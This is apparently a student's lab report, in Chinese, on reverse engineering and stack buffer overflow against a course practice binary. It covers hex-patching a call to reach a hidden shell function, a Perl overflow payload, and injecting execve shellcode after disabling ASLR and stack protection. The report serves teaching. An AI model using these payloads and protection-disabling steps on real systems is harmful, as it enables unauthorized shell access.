网络对抗实验一 PC平台逆向破解(5)M
实验内容
1.掌握反汇编与十六进制编程器
(1) 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
输入命令:vi 20201206
看可执行文件内容,为ASCII码形式显示;
输入:%!xxd
将显示模式切换为16进制模式;
进行相关操作后,输入:%!xxd -r
转换16进制为为ASCII码形式。
(2) 反汇编操作步骤如下:
输入命令:objdump –d 20201206 | more
objdump是gcc工具,用来查看编译后目标文件的组成
操作如下:
2.能正确修改机器指令改变程序执行流程
首先查看原本程序:
根据实验指导,我们需要让main函数中的call指令调用foo函数变为调用getshell函数,所以我们需要对其机械指令e8 d7 ff ff ff
进行修改,e8在机械指令上有着跳转的含义
在这里我们需要搞清楚一个概念,call指令是怎么从e8 d7 ff ff ff
这条指令跳转到8048491
这一地址的。
因为d7 ff ff ff
是补码,且求原码顺序要从右到左,因为都是f所以省略,d7的原码为29,故原码为-0X29。而call指令的跳转地址起始是下条指令的地址,在此处为80484ba
。所以计算过程为80484ba- 0X29 = 8048491
这样就搞明白了跳转的原理,我们就可以逆向操作使其跳转到我们需要的地址了。
由图我们可以知道,getShell函数的地址为804847d
,故地址数为80484ba-804847d=0X3d
,0X3d的补码为C3,故指令应该改为c3 ff ff ff
修改后的程序:
运行程序,发现得到了shell提示符,证明我们的修改成功使得call指令跳转到了getshell这个函数,得到了我们想要的结果。
3.能正确构造payload进行bof攻击
(一)通过构造输入参数,造成BOF攻击,改变程序执行流
根据所学知识,我们知道foo函数留出了大小为“0X1c”的缓冲区,main函数中eip中装入返回地址80484ba
。
当我们得知缓冲区长度是28字节后,基本已经可以还原此时此段堆栈的结构,调用foo函数后eip进栈,保存返回地址。
若使输入的数据的第33、34、35、36,这四个字节是getShell函数的地址,则就可以覆盖返回地址,触发getShell函数。
堆栈结构:
实践确认输入字符串哪几个字符会覆盖到返回地址:
通过输入info r打印出程序寄存器的数值。在途中我们可以看到eip的值为34333231
即我们之前输入的1234,所以确定了溢出的数值为第33到36字节,eip已经被覆盖。
按照之前我们得知的结果,getShell函数的首地址应该是0804847d
,现在我们只需输入一个36字节的字符串,并设计好33字节-36字节的数字即可,因为我们并不能通过键盘实现输入16进制,所以在这里我们使用“Perl”语言将地址通过输出重定向存储到一个文件中。
我们在这里输入命令:
(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./20201206
(二)注入Shellcode并执行
(1)准备一段Shellcode
Shellode就是一段机器指令,通常这段机器指令的目的是为获取一个交互式的shell,所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是自己编写的,可以实现任何功能。
本次实验我们所需要的Shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
(2)准备工作
这里的目的是使堆栈可以被执行已经关闭地址随机化,因为我们需要通过调试来确定shellcode的地址
输入execstack -s pwn1
//设置堆栈可执行
输入execstack -q pwn1
X pwn1
输入more /proc/sys/kernel/randomize_va_space
2
输入echo "0" > /proc/sys/kernel/randomize_va_space
//关闭地址随机化
输入more /proc/sys/kernel/randomize_va_space
0
(3)构造要注入的payload
输入:
perl -e 'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(注意这里最后一个字符不是\x0a,不然后续步骤无法完成)
注入攻击buf:
(cat input_shellcode;cat) | ./20201206
打开另一个终端,先找到pwn1的进程:
如图可以看出该进程的进程id为“14427”
启动gdb,输入attach 14427
输入disassemble foo
,发现断在080484ae
输入break *0x080484ae
设置断点
输入c继续
在另一个终端按下回车
在图中我们可以观察到,1234的地址数为d0cc。在云班课的视频提到过,我们只是相差了4个字节,即应该将原本shellcode里的1234更改为d0cc+4=d0d0
我们修改要注入的字符串,修改为:perl -e 'print "A" x 32;print "\xd0\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
成功调出Shellcode:
报告内容
1.NOP, JNE, JE, JMP, CMP汇编指令的机器码
(1) NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2) JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3) JE:条件转移指令,如果相等则跳转。(机器码:74)
(4) JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5) CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
2.实践总结与体会
这次实验与以前学过的其他课程有很大不同,从前的课程只是了解各种攻击的方式,以及攻击的原理,但从未进行过攻击实践,这次试验让我第一次有了一种当“黑客”的感觉。
虽然在一年前学习过计算机组成原理这门课程并且取得了不错的成绩,但是过了一个学期之后,知识忘得基本差不多了,这次试验的机器码部分让我回忆起了一些从前学到的知识,还有对堆栈的结构有了更深刻的记忆。
本次实验提醒了我在以后的编程中更不能忽视程序的安全性,边界条件以及其他可能会危害用户的漏洞。有些时候编程并不只是简单的实现功能,更多的应该是做好防护,防止后患。
3.遇到问题与解决
问题一:使用gdb时提示gdb:command not found
使用指令:sudo apt install gdb
无效
解决:更新了apt-get:apt-get update
更新完成后使用指令:sudo apt-get install gdb
下载gdb即能正常使用
问题二:使用execstack - s
指令时提示:execstack:command not found
解决:找到了云班课资源里的实验报告示例,安装了prelink软件包后,即可设置堆栈可执行。